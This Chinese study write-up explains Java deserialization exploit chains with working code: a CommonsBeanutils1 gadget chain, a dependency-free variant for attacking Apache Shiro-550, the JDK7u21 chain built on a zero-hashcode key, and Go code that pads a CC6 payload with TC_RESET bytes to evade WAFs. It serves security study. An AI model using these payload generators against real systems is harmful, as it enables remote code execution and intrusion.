这里添加了两个无害的可以比较的对象进队列中,因为当BeanComparator#compare()中如果this.property为空,则直接比较这两个对象。这里实际上就是对两个1进行排序。
初始化时使用正经对象,且property为空,这一系列操作是为了初始化的时候不要出错。然后我们再用反射将property的值设置成恶意的outputProperties,将队列里的两个1替换成恶意的TemplateImpl对象
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
最后完成整个CB1的利用链
package client;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(Evil.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

ysoserial里的CB利用链用到了java.math.BigInteger的使用
BeanComparator comparator = new BeanComparator("lowestSetBit");
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
BeanComparator(“lowestSetBit”);比较两个对象时,不是直接比较对象本身而是取他们的lowestSetBit属性来比较。而BigInteger刚好有这个属性对应的方法是BigInteger.lowestSetBit(),在queue.add(new BigInteger(“1”))的时候就会比较他们的BigInteger.lowestSetBit属性,保证安全初始化PriorityQueue
但是其实直接设置property为null即可,此时会直接比较两个对象queue.add(“1”);,比较两个String对象
shiro-550利用的难点
前面shiro的demo添加了几个依赖库
- shiro-core、shiro-web,这是shiro本身的依赖
- javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这
两个依赖 - slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
- commons-logging,这是shiro中用到的一个接口,不添加会爆
java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory 错误 - commons-collections,为了演示反序列化漏洞,增加了commons-collections依赖
前四个依赖都和项目本身有关,少了他们这个demo会出错或者功能缺失。但是第五个依赖,commons-collections主要是为了演示漏洞。那么实际场景下,目标可能没有安装commons-collections,这个时候shiro反序列化漏洞是否仍然可以利用呢
删除cc依赖重新加载maven

commons-beanutils赫然在列,那么是否CB1就可以利用呢?但是生成的payload报错了,并没有成功

这里的serialVersionUID是什么
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化的时候,如果发现对方环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患。
当然开发者也可以手工给类赋予一个serial VersionUID值,此时就能手工控制兼容性了。
所以出现问题的原因就是,本地使用的commons-beanutils是1.9.2版本,而Shiro中自带的commons-beanutils是1.8.3版本,出现了serialVersionUID对应不上的问题,解决方法也很简单,将本地的commons-beanutils也换成1.8.3版本再次进行测试,此时又爆出了另一个异常,仍然没有触发代码执行

Unable to load class named
[org.apache.commons.collections.comparators.ComparableComparator]
简单来说就是没找到org.apache.commons.collections.comparators.ComparableComparator类,从包名即可看出,这个类是来自于commons-collections
commons-beanutils本来依赖于commons-collections,但是在shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不完全。这也导致正常使用shiro的时候不需要依赖于commons-collections,但反序列化的时候需要依赖于commons-collections
无依赖的shiro反序列化链
先来看看org.apache.commons.collections.comparators.ComparableComparator这个类在哪里使用了

在BeanComparator类的构造函数处,当没有显式传入Comparator的情况下,则默认使用ComparableComparator
既然此时没有ComparableComparator,我们需要找到一个类来替换,其许需要满足几个条件
- 实现java.util.Comparator接口
- 实现java.io.Serializable接口
- Java、shiro或commons-beanutils自带,且兼容性强
通过IDEA的功能我们找到一个CaseInsensitiveComparator

private static class CaseInsensitiveComparator
implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
private static final long serialVersionUID = 8575799808933029326L;
public int compare(String s1, String s2) {
int n1 = s1.length();
int n2 = s2.length();
int min = Math.min(n1, n2);
for (int i = 0; i < min; i++) {
char c1 = s1.charAt(i);
char c2 = s2.charAt(i);
if (c1 != c2) {
c1 = Character.toUpperCase(c1);
c2 = Character.toUpperCase(c2);
if (c1 != c2) {
c1 = Character.toLowerCase(c1);
c2 = Character.toLowerCase(c2);
if (c1 != c2) {
// No overflow because of numeric promotion
return c1 - c2;
}
}
}
}
return n1 - n2;
}
/** Replaces the de-serialized object. */
private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
}
这个CaseInsensitiveComparator类是java.lang.String类下的一个内部私有类,其实现了Comparator和Serializable,且位于Java的核心代码中,兼容性强,是一个完美的替代品
我们通过String.CASE_INSENSITIVE_ORDER即可拿到上下文中的CaseInsensitiveComparator对象,用它来实例化BeanComparator
final BeanComparator comparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);
最后构造出新的CommonsBeanutils1Shiro链(String.CASE_INSENSITIVE_ORDER是用来比较字符串的,前期占位得用字符串)
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutils1Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}

Java原生反序列化利用链JDK7u21
JDK7u21核心原理
某条反序列化利用链的核心点,是readObject或者TemplateImpl吗?可能核心在于触发”动态方法执行”的地方,而不是TemplateImpl或者某个类的readObject方法
举几个例子
- CommonsCollections系列反序列化的核心点是那一堆Transformer,特别是其中的InvokerTransformer、InstantiateTransformer
- CommonsBeanutils反序列化的核心点是PropertyUtils#getProperty,因为这个方法会触发任意对象的getter
而JDK7u21的核心点就是sun.reflect.annotation.AnnotationInvocationHandler,但是当时只用到了这个类会触发Map#put、Map#get的特点
看到AnnotationInvocationHandler类中的equalsImpl方法
private Boolean equalsImpl(Object o) {
if (o == this)
return true;
if (!type.isInstance(o))
return false;
for (Method memberMethod : getMemberMethods()) {
String member = memberMethod.getName();
Object ourValue = memberValues.get(member);
Object hisValue = null;
AnnotationInvocationHandler hisHandler = asOneOfUs(o);
if (hisHandler != null) {
hisValue = hisHandler.memberValues.get(member);
} else {
try {
hisValue = memberMethod.invoke(o);
} catch (InvocationTargetException e) {
return false;
} catch (IllegalAccessException e) {
throw new AssertionError(e);
}
}
if (!memberValueEquals(ourValue, hisValue))
return false;
}
return true;
}
private transient volatile Method[] memberMethods = null;
private Method[] getMemberMethods() {
if (memberMethods == null) {
memberMethods = AccessController.doPrivileged(
new PrivilegedAction<Method[]>() {
public Method[] run() {
final Method[] mm = type.getDeclaredMethods();
AccessibleObject.setAccessible(mm, true);
return mm;
}
});
}
return memberMethods;
}
这个方法中有个很明显的反射调用memberMethod.invoke(o),而memberMethod来自于this.type.getDeclareMethods(),也就是说,equalsImpl这个方法是将this.type类中的所有方法遍历并执行了。那么假设this.type是Templates类,则势必会调用到其中的newTransformer()或getOutputProperties()方法,进而触发任意代码执行
如何调用equalsImpl
现在的任务就是通过反序列化调用equalsImpl,equalsImpl是一个私有方法,在AnnotationInvocationHandler#invoke中被调用
InvocationHandler是一个接口他只有一个方法就是invoke
public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}
在使用java.reflect.Proxy动态绑定一个接口时,如果调用该接口中任意一个方法,会执行到InvocationHandler#invoke。执行invoke时,被传入的第一个参数时这个proxy对象,第二个参数时被执行的方法名,第三个参数时执行时的参数列表。AnnotationInvocationHandler就是一个InvocationHandler接口的实现,看看其invoke方法
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
可见当方法名等于”equals”且仅有一个Object类型参数时,会调用到equalImpl方法,现在问题就变成了需要找到一个方法在反序列化时对proxy调用equals方法
equals方法调用链
比较Java对象时,我们常用到两个方法
equals
compareTo
任意Java对象都拥有equals方法,它通常用于比较两个对象是否是同一个引用;而compareTo实际上是java.lang.Comparable接口的方法,通常被实现用于比较两个对象的值是否相等。
另一个常见的会调用equals的场景就是集合set,set中存储的对象不允许重复,所以在添加对象的时候,势必会涉及到比较操作
查看HashSet的readObject方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
可见这里使用了一个HashMap,将对象保存在HashMap的key处来做去重
HashMap就是数据表里的哈希表,哈希表是由数组+链表实现的–哈希底层保存在一个数组中,数组的索引由哈希表的key.hashCode()经过计算得到,数组的值是一个链表,所有哈希碰撞得到相同索引的key-value,都会被链接到这个链表后面。

所以为了触发比较操作,我们需要让比较与被比较的两个对象的哈希相同,这样才能被连接到同一条链表上,才会进行比较
跟进一下HashMap的put方法
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
变量i就是这个所谓的”哈希”,两个不同的对象i相等时,才会执行到key.equals(k),触发前面说过的代码执行。所以接下来的目的就是为了让proxy对象的哈希等于TemplateImpl对象的哈希
巧妙的Magic Number
计算哈希的主要是下面两行代码
int hash = hash(key);
int i = indexFor(hash, table.length);
其中关键逻辑提权出来,可以得到下面这个函数
public static int hash(Object key) {
int h = 0;
h ^= key.hashCode();
h ^= (h >>> 20) ^ (h >>> 12);
h = h ^ (h >>> 7) ^ (h >>> 4);
return h & 15;
}
除了key.hashCode()外再没有其他变量,所以proxy对象与TemplateImpl对象的哈希是否相等,仅取决于这两个对象的hashCode()是否相等。TemplateImpl的hashCode()是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,所以想让proxy的hashCode()与之相等,只能寄希望于proxy.hashCode()
proxy.hashCode()仍然会调用到AnnotationInvocationHandler#invoke,进而调用到AnnotationInvocationHandler#hashCodeImpl
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
遍历memberValues这个Map中的每个key和value,计算每个(127 * key.hashCode()) ^ value.hashCode() 并求和
JDK7u21中使用了一个非常巧妙的方法
- 当memberValues 中只有一个key和一个value时,该哈希简化成(127 * key.hashCode()) ^ value.hashCode()
- 当key.hashCode()等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成value.hashCode()
- 当value就是TemplateImpl对象时,这两个哈希就变成完全相等
所以我们找到一个hashCode是0的对象作为memberValues的key,将恶意TemplateImpl对象作为value,这个proxy计算的hashCode就与TemplateImpl对象本身的hashCode相等了
找一个hashCode对象是0的对象,可以写一个简单的爆破程序来实现
public static void bruteHashCode()
{
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
}
跑出来第一个是f5a5a608
利用链梳理
首先生成恶意TemplateImpl对象
然后实例化一个HashMap将前面得到的Magic Number作为key,此时value先随便设置一个值比如foo,将HashMap作为AnnotationInvocationHandler的memberValues存在
memberValues = {
"f5a5a608" -> "foo"
}
后续Proxy进行一层代理,实例化HashSet将TemplateImpl对象和proxy放入,每一次的set都相当于执行
map.put(templates, PRESENT);
map是底层的HashMap,也就是进行HashMap.put() -> int hash = hash(templates.hashCode()); -> templates.hashCode();最后算出来是一个随机值无法确定
但是HashMap.put() -> int hash = hash(proxy.hashCode()); -> proxy.hashCode()
跟CC1中一样的proxy调用其实现接口的任意方法都会进入InvocationHandler.invoke -> hashCodeImpl()
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode())
^ memberValueHashCode(e.getValue());
}
return result;
}
前面讲到的只要memberValues中只有这一项map.put(“f5a5a608”, value); -> proxy.hashCode() == value.hashCode()
反序列化的时候HashSet.readObject()反序列化两个加入的元素然后计算其HashCode,最终hash相同,调用key.equals() -> equalsImpl(templates)遍历this.type每个方法调用this.type是TemplateImpl类最后触发newTransformer或者是newOutputProperties()方法执行任意代码
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
//import javassist.ClassPool;
//import org.apache.commons.codec.binary.Base64;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class JDK7u21 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] evilBytes = Files.readAllBytes(
Paths.get("D:\\JAVA\\JavaThings-master\\JavaThings-master\\shiroattack\\target\\classes\\com\\govuln\\shiroattack\\Evil.class")
);
setFieldValue(templates, "_bytecodes", new byte[][]{
evilBytes
});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

为什么第一次map.put(zeroHashCodeStr, “foo”);
是为了防止一开始就让value.hashCode = templates.hashCode
HashSet和HashMap的操作分别存储了什么
你创建的 map
└── "f5a5a608" -> templates
↑
AnnotationInvocationHandler 使用
用于影响 proxy.hashCode()
LinkedHashSet 内部的 LinkedHashMap
├── templates -> PRESENT
└── proxy -> PRESENT
↑
用于存储和去重 HashSet 元素
构造阶段
set.add(templates)
↓
HashSet.add()
↓
内部 LinkedHashMap.put(templates, PRESENT)
set.add(proxy)
↓
HashSet.add()
↓
内部 LinkedHashMap.put(proxy, PRESENT)
反序列化阶段
HashSet.readObject()
↓
读取 templates
↓
内部 HashMap.put(templates, PRESENT)
↓
计算 templates.hashCode()
读取 proxy
↓
内部 HashMap.put(proxy, PRESENT)
↓
计算 proxy.hashCode()
↓
发现和 templates 的 hash 相同
↓
调用 proxy.equals(templates)
Java反序列化协议构造与分析
初步理解序列化流的Grammer
Grammer很长,但是序列化协议的核心架构从前四个部分就可以大概看出来
stream:
magic version contents
contents:
content
contents content
content:
object
blockdata
object:
newObject
newClass
newArray
newString
newEnum
newClassDesc
prevObject
nullReference
exception
TC_RESET
这是一个依次展开的巴科斯范式。从第一个stream开始看起,stream就是指完整的序列化协议流,它是由三个部分组成:magic、version和contents
在文档(Java Object Serialization Specification: 6 – Object Serialization Stream Protocol)中可以找到magic和version的定义
final static short STREAM_MAGIC = (short)0xaced;
final static short STREAM_VERSION = 5;
magic等于0xaced,version等于5,这两个变量都是short类型,也就是两个字节的整型。这也就是为什么我们说序列化协议流是以\xAC \xED \x00 \x05开头的原因
接着contents在下面两行定义,contents等于content,或者contents content如何理解?
这里实际上是一个简单的递归下降的规则,contents可以由一个content组成,也可以由一个contents与一个content组成,而后面这种情况里的contents又可以继续由这两种情况组成,最后形成编译原理里所谓的左递归。(contents是可以有一个或者多个contents组成)
继续往下看,content又是由object或者blockdata组成,blockdata是一个由数据长度加数据本身组成的一个结构,里面可以填充任意内容。重要的还是object,object就是真正包含Java对象的一个结构,在上面的Grammer中我们可以看到,object是由下面任意一个结构组成
- newObject :表示一个对象
- newClass :表示一个类
- newArray :表示一个数组
- newString :表示一个字符串
- newEnum :表示一个枚举类型
- newClassDesc :表示一个类定义
- prevObject :一个引用,可以指向任意其他类型(通过Reference ID)
- nullReference :表示null
- exception :表示一个异常
- TC_RESET :重置Reference ID
这里面有三个比较容易混淆的结构,对象newObject、类newClass和类定义newClasDesc
这里的对象和类的区别,正如Java中对象的和类的区别,前者是某个类实例化的对象,后者是这个类本身。而类定义我们应该理解为对某一个类的描述,比如这个类名是什么,类中有哪些字段等等
我们查看newObject和newClass这两个结构的Grammer
newObject:
TC_OBJECT classDesc newHandle classdata[] // data for each class
newClass:
TC_CLASS classDesc newHandle
classDesc:
newClassDesc
nullReference
(ClassDesc)prevObject// an object required to be of type
// ClassDesc
可见,newObject和newClass都是由一个标识符+classDesc + newHandle组成,只不过newObject多一个classdata[]。原因是,它是一个对象,其包含了实例化类中的数据,这些数据就储存在classdata[]中
classDesc就是我们前面说的类定义,不过这个classDesc和前面的newClassDesc稍微有点区别,classDesc可以是一个普通的newClassDesc,也可以是一个null,也可以是一个指针,指向任意前面已经出现过的其他的类定义。我们只要简单把classDesc理解为对newClassDesc的一个封装即可。
newHandle是一个唯一ID,序列化协议里的每一个结构都拥有一个ID,这个ID由0x7E0000开始,每遇到下一个结构就+1,并设置成这个结构的唯一ID。而前面说的prevObject指针就是通过这个ID来定位它指向的结构
代码演示序列化数据的解析结果
定义一个简单的类User,其包含两个属性,String name和User parent
public class User implements Serializable {
protected String name;
protected User parent;
public User(String name)
{
this.name = name;
}
public void setParent(User parent)
{
this.parent = parent;
}
}
然后将其序列化
User user = new User("Bob");
user.setParent(new User("Josua"));
ByteArrayOutputStream byteSteam = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteSteam);
oos.writeObject(user);
System.out.println(Base64.encodeBase64String(byteSteam.toByteArray()));
将得到的Base64的字符流进行分析

可见这里contents只包含一个newObject,其第一部分是ClassDesc,包含了User这个类的信息,比如类名、SerialVersionUID、父类、属性列表等
这个classDesc的ID就是8257536而在[]classData数组中,包含两个属性,name和parent,parent也是一个newObject,它实际上在源码中是一个User类对象,所以classDesc也是User类的信息,因为前面已经定义过了,所以这个类是一个Reference,ID也是8257536,表示指向前面User类的ClassDesc。
通过这个简单的案例可以大概理解Java是怎么序列化一个类的了
如何构造一个包含垃圾数据的序列化流
前面说了content是由object或blockdata组成,blockdata就是一个适合用来填充藏字符的结构
content:
object
blockdata
blockdata:
blockdatashort
blockdatalong
blockdatashort:
TC_BLOCKDATA (unsigned byte)<size> (byte)[size]
blockdatalong:
TC_BLOCKDATALONG (int)<size> (byte)[size]
可见blockdata有两种可能性:blockdatashort或者blockdatalong,顾名思义,前者可以保存的数据较少,后者可以保存的数据较长
我们选择使用blockdtatlong
blockdatalong:
TC_BLOCKDATALONG (int)<size> (byte)[size]
这个结构分为三部分
- TC_BLOCKDATALONG 标示符
- (int) <size> 数据长度,是一个4字节的整型
- (byte)[size] 数据具体的内容
编写一个简单的Go程序,并调用zkar库中的结构和方法来构造这个填充了垃圾字符的CC6的payload
package main
import (
"github.com/phith0n/zkar/serz"
"io/ioutil"
"log"
"strings"
)
func main() {
data, _ := ioutil.ReadFile("cc6.ser")
serialization, err := serz.FromBytes(data)
if err != nil {
log.Fatal("parse error")
}
var blockData = &serz.TCContent{
Flag: serz.JAVA_TC_BLOCKDATALONG,
BlockData: &serz.TCBlockData{
Data: []byte(strings.Repeat("a", 40000)),
},
}
serialization.Contents = append(serialization.Contents, blockData)
ioutil.WriteFile("cc6-padding.ser", serialization.ToBytes(), 0o755)
}
在读取原始的paylaod后新建了一个serz.TCContent{}结构,并向其填充了4w个a

加载后成功执行

但是这里填充有缺陷,原因是填充的数据在payload后面,如果waf是检查数据包的前N个字符,则仍然无法绕过WAF,尝试一将serialization.Contents中的顺序改变一下,将blockData放在前面
serialization.Contents = append([]*serz.TCContent{blockData},
serialization.Contents...)
此时生成的文件在Java反序列化时会抛出异常
Exception in thread "main" java.io.OptionalDataException
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1363)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at com.govuln.serialization.Application.read(Application.java:33)
at com.govuln.serialization.Application.main(Application.java:15)
前面分析过,contents里既可以时object也可以是blockdata,但是为什么我们将blockdata放在object前面就不行了呢
虽然在Grammer中,contents被定义成一个左递归形式的循环结构,但是实际上Java对这部分处理如下
private Object readObject0(boolean unshared) throws IOException {
// ...
byte tc;
while ((tc = bin.peekByte()) == TC_RESET) {
bin.readByte();
handleReset();
}
depth++;
try {
switch (tc) {
case TC_NULL:
return readNull();
case TC_REFERENCE:
return readHandle(unshared);
case TC_CLASS:
return readClass(unshared);
case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);
case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));
case TC_ARRAY:
return checkResolve(readArray(unshared));
case TC_ENUM:
return checkResolve(readEnum(unshared));
case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));
case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);
case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}
case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}
default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
} finally {
depth--;
bin.setBlockDataMode(oldMode);
}
}
只有在处理TC_RESET的时候是一个循环,通过while循环消耗掉所有的TC_RESET后就进入了一个switch选择语句。此时因为我们contents里第一个结构是一个blockdata所以会进入caseTC_BLOCKDATALONG中,而这里就抛出了异常,也就是说,Java只会处理contents里面除了TC_RESET之外的首个结构,而这个结构不能是blockdata、exception等,那么利用contents来填充垃圾字符的方法是否还有效呢?
刚刚说了在处理object前Java会丢弃所有TC_RESET(实际上Grammer中TC_RESET也是object的一种结构),那么用这个字符来填充不就可以了吗?
package main
import (
"github.com/phith0n/zkar/serz"
"io/ioutil"
"log"
)
func main() {
data, _ := ioutil.ReadFile("cc6.ser")
serialization, err := serz.FromBytes(data)
if err != nil {
log.Fatal("parse error")
}
var contents []*serz.TCContent
for i := 0; i < 5000; i++ {
var blockData = &serz.TCContent{
Flag: serz.JAVA_TC_RESET,
}
contents = append(contents, blockData)
}
serialization.Contents = append(contents, serialization.Contents...)
ioutil.WriteFile("cc6-padding.ser", serialization.ToBytes(), 0o755)
}











